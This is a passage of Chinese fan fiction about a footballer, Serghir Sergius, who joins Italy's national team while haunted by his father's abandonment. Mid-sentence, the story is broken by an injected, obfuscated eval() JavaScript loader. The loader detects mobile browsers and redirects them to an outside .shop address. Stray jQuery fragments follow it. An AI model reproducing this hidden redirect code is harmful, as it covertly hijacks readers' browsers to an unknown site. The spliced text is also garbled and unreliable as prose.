塞吉尔·塞尔吉奥（Serghir Sergius）的“绝对理智”，在足球场上可以精准地计算出每一次传球的路线、每一个对手的弱点，甚至每一笔转会费的溢价空间。
但他唯独算不出，为什么当自己第一次穿上意大利国家队那件深蓝色的球衣时，脑海里浮现的不是什么“国家荣誉”或“战术体系”，而是一段带着游乐园爆米花甜腻气味、却又在后来变得支离破碎的往事。
他想起了他的父亲。
那个后来带着新家庭远走高飞的男人，曾经是真的、毫无保留地爱过他，爱过母亲的。
在塞吉尔很小、小到还不懂得什么是“背叛”和“抛弃”的年纪，他的世界是完整的。那时候，父母还没有陷入那场旷日持久的、歇斯底里的争吵。父亲会在周末开着车，带着他和母亲去郊外的游乐园。
塞吉尔至今都记得那个下午的阳光，温暖得有些刺眼。
父亲把他高高地扛在肩上，让他能越过拥挤的人潮，看到最前方的花车巡游。父亲宽厚的肩膀、爽朗的笑声，还有那只紧紧抓着他小腿的、粗糙却有力的大手，曾是他童年里最坚不可摧的安全感。
在那一刻，他以为这种被高高举起、被稳稳托住的感觉，会像游乐园里永不熄灭的霓虹灯一样，永远存在。
可后来，一切都变了。
不知从什么时候起，家里的空气变得令人窒息。无休止的争吵、摔碎的盘子、母亲绝望的哭泣，以及父亲摔门而去的背影，像一场永不停歇的暴风雪，将他童年里的那点阳光彻底掩埋。
那个曾经把他扛在肩上的男人，最终选择了抛弃他们，转身走向了另一个有说有笑的新家庭。
从那以后，塞吉尔就不再相信童话了。他把那份被抛弃的恐惧，转化成了对金钱和合同的病态囤积。
他告诉自己，只有钱和胜利，才是永远不会背叛他的东西。
所以，当他选择加入意大利国家队时，所有人都以为他是个彻头彻尾的雇佣兵，只为了那丰厚的出场奖金。
只有他自己知道，当他穿上这身蓝色的球衣时，他是在用一种近乎执拗的方式，向那个已经抛弃了他的父亲证明：你看，即使你走了，即使你有了新的家庭，我再也不会再像曾经一样陷入阴影，我能站在这里，穿着最顶级的球衣，赢下最艰难的比赛。
这是一种带着报复意味的释怀。
在意大利国家队的岁月里，塞吉尔依然保持着他的“绝对理智”。
他依然是那个游离于集体之外的异类，行李箱里永远备着两套以上的干净球衣，手机里存着几十个加密的理财软件。他用最功利、最安全的方式，把球稳稳地输送到前场，然后帮助球队赢下比赛。
但有些时候，有些瞬间，那层坚硬的铠甲会突然裂开一道缝隙。
比如，在一次对阵强敌的欧国联关键战中，比赛进行到第八十分钟，比分依然是0:0，对手的疯狂逼抢让意大利的中场几乎喘不过气。就在全队都陷入焦躁的时刻，塞吉尔的应激重启触发了。
他低下头，牙齿轻轻咬住左手拇指的指甲边缘。
在震耳欲聋的客场嘘声中，他听到了自己脑海里那声清脆的、像蚕啃桑叶般的细响。
就在他准备用那记违背物理常识的贴地直塞撕开对手防线时，他突然感觉到一只温暖的手，轻轻地按在了他的肩膀上。
是队长托蒂。
托蒂没有说话，只是用那双深邃的眼睛看着他，仿佛在说：去吧，伙计。我们都在你身后。
那一刻，塞吉尔的“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966662|214115||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
绝对理智”短暂地停顿了。
那只按在他肩膀上的手，那种毫无保留的信任，让他恍惚间想起了多年前游乐园里，父亲紧紧抓着他小腿的那只手。
只是这一次，没有争吵，没有摔门而去，没有抛弃。
他抬起头，那双黑灰色的眼睛里没有了游移和躲闪。
他用一个极其隐蔽的沉肩，扛开了对方后腰的凶狠冲撞，然后在身体失去平衡的前零点一秒，用右脚外脚背搓出了一记贴地直塞。皮球像手术刀一样切开了对手的整条防线，精准地找到了前插的前锋。
单刀，进球。1:0，绝杀。
全场沸腾，意大利的队友们疯狂地扑向进球的前锋，而塞吉尔只是默默地站在原地，低头看了一眼自己指甲边缘新添的毛刺。
他确实加入了意大利。
但他从未真正属于这里。
他只是一个穿着蓝色球衣的、极度缺乏安全感的流浪者，用一场又一场的胜利，为自己搭建着一座永远不会倒塌的、冰冷的堡垒。
但他已经不再像从前那样，时刻准备着逃跑了。
他对父亲的感情，就像这指甲边缘被撕扯出的毛刺，虽然不再流血，虽然已经结痂，但在某些不经意的瞬间，当你低头看到它时，依然会感到一丝隐秘的牵扯。
他慢慢释怀了。
他不再恨那个男人，也不再执着于证明什么。他只是偶尔会在某个深夜，在酒店房间的黑暗中，回想起那个阳光刺眼的下午，回想起那个把他扛在肩上的宽阔背影。
然后，他会平静地转过头，继续去算他明天的出场费。
他永远无法属于任何地方。
但他已经学会了，带着那段旧日游乐园的回忆，继续在这条冰冷的雇佣兵之路上，走下去。